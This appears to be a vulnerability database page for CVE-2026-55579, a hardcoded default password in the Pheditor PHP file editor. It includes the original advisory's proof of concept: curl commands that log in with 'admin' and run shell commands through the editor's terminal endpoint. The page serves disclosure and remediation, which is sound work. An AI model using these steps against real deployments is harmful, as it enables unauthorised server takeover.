CVE-2026-55579: Pheditor Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-p4h7-p9rj-2pq2
CVSS 9.8
CWE-798
Published
Advisory Summary

CVE-2026-55579 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-798: Use of Hard-coded Credentials) affecting Pheditor libraries in the Packagist ecosystem. The issue involves hardcoded default password 'admin' with no forced change enables full application compromise. Remediation is available by upgrading affected packages to version 2.0.6.

CVE-2026-55579 at a Glance

CVE Identifier CVE-2026-55579
GHSA Identifier GHSA-p4h7-p9rj-2pq2
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-798: Use of Hard-coded Credentials
Affected Product Pheditor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55579

To remediate this vulnerability, upgrade all affected Pheditor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pheditor/pheditor fixed: 2.0.6
Upgrade pheditor/pheditor to 2.0.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pheditor/pheditor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55579, inspect your project dependencies for Pheditor:

inspect dependencies for pheditor/pheditor

Analyze the terminal output to locate any version of Pheditor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-798: Use of Hard-coded Credentials, where the product contains hard-coded credentials, such as a password or cryptographic key. In Pheditor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

CVE-2026-55579 Affected Pheditor Versions

1 component(s)
Fixed Versions:
2.0.6
Product / Package Ecosystem Affected Versions Fixed Version
pheditor/pheditor
Packagist
≥ 2.0.1
< 2.0.6
2.0.6

References

Frequently Asked Questions

What is CVE-2026-55579?
CVE-2026-55579 is a security vulnerability in Pheditor involving Hardcoded default password 'admin' with no forced change enables full application compromise under CWE-798: Use of Hard-coded Credentials.
Which Pheditor versions are affected?
Affected versions include releases prior to 2.0.6 across affected packages: pheditor/pheditor.
What version fixes CVE-2026-55579?
Upgrading to 2.0.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pheditor/pheditor affected?
Yes, pheditor/pheditor is affected in releases prior to 2.0.6. Upgrade your dependency to 2.0.6 or later.
What is the CVSS score of CVE-2026-55579?
CVE-2026-55579 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55579?
CVE-2026-55579 is classified under CWE-798: Use of Hard-coded Credentials (The product contains hard-coded credentials, such as a password or cryptographic key.).
How can I check Packagist dependencies for CVE-2026-55579?
Run the dependency tree command: 'inspect dependencies for pheditor/pheditor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p4h7-p9rj-2pq2",
  "modified" : "2026-07-16T20:11:23Z",
  "published" : "2026-07-16T20:11:23Z",
  "aliases" : [ "CVE-2026-55579" ],
  "summary" : "Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise",
  "details" : "### Summary\n\nPheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.\n\n### Details\n\nTested repository: https://github.com/pheditor/pheditor\n\nTested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`)\n\nAffected version: All versions of Pheditor\n\nThe password is hardcoded at `pheditor.php:11`:\n\n```php\ndefine('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');\n```\n\nThis is the SHA-512 hash of the string `admin`:\n```bash\necho -n 'admin' | sha512sum\nc7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec\n```\n\nThe application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.\n\nThe password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.\n\n**Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.\n\n### PoC\n\n**Environment:** Any system running Pheditor with default configuration.\n\n**Setup:**\n```bash\ngit clone https://github.com/pheditor/pheditor /tmp/pheditor-test\ncd /tmp/pheditor-test\nphp -S localhost:8080 pheditor.php &\n```\n\n**Positive trigger — authenticate with default password:**\n```bash\ncurl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  -d \"pheditor_password=admin\" -L -o /dev/null -w \"%{http_code}\"\n```\nExpected: `200` — successful authentication with the default password `admin`.\n\n**Verify full access:**\n```bash\nTOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | grep -o '\"[a-f0-9]*\"' | tr -d '\"')\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode 'command=echo `id`' \\\n  --data-urlencode \"dir=\"\n```\nExpected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE.\n\n**Control (wrong password):**\n```bash\ncurl -s -X POST http://localhost:8080/pheditor.php \\\n  -d \"pheditor_password=wrongpassword\" | grep -o 'not correct'\n```\nExpected: `not correct` — authentication logic works but default password is trivially guessable.\n\n**Cleanup:**\n```bash\nkill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt\n```\n\n### Impact\n\nUse of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.\n\n**Attacker privileges:** Unauthenticated remote attacker (PR:N).\n\n**Security boundary crossed:** Unauthenticated → fully authenticated administrator.\n\n**Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal).\n\n**Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands.\n\n**Availability impact:** High — delete files and directories, disrupt services.\n\n**Suggested remediation:**\n1. Remove the default password — require user to set a password during installation.\n2. Add a setup wizard that forces password creation on first access.\n3. Add a forced password change on first login with default credentials.\n4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pheditor/pheditor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.1"
      }, {
        "fixed" : "2.0.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pheditor/pheditor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-16T20:11:23Z",
    "nvd_published_at" : null
  }
}